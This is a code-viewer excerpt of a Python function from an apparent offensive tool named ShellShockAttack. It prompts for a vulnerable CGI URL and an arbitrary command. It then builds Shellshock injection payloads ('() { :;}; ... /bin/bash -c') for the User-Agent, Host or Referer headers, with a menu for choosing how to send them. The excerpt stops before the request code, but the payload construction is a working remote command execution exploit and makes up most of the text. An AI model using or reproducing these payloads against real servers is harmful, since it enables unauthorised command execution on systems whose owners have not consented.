INNER CODE UNIT · Python

commandIn

demining/CryptoDeepTools · 24ShellShockAttack/main.py:116

def commandIn():
    try:
        print("e.g==>http://target.com/cgi-bin/status")
        aaa = input(Colors.b + "Vulnerable url enter:")
        komut = input("Please Command Enter:")
        while True:
            x = """                    
1) -----> SEND PAYLOAD WITH USER-AGENT
2) -----> SEND PAYLOAD WITH HOST
3) -----> SEND PAYLOAD REFERER
4) -----> WRITE NEW URL
5) -----> EXIT
                                """
            print(Colors.y, x)
            secim = input("Choose:")
            header = {"User-Agent": "() { :;}; echo; echo; /bin/bash -c " + "'" + komut + "'"}
            host = {"Host": "() { :;}; echo; echo; /bin/bash -c " + "'" + komut + "'"}
            referer = {"Referer": "() { :;}; echo; echo; /bin/bash -c " + "'" + komut + "'"}

View source record →

📰 Research Paper
Loading…
⏳ Fetching content…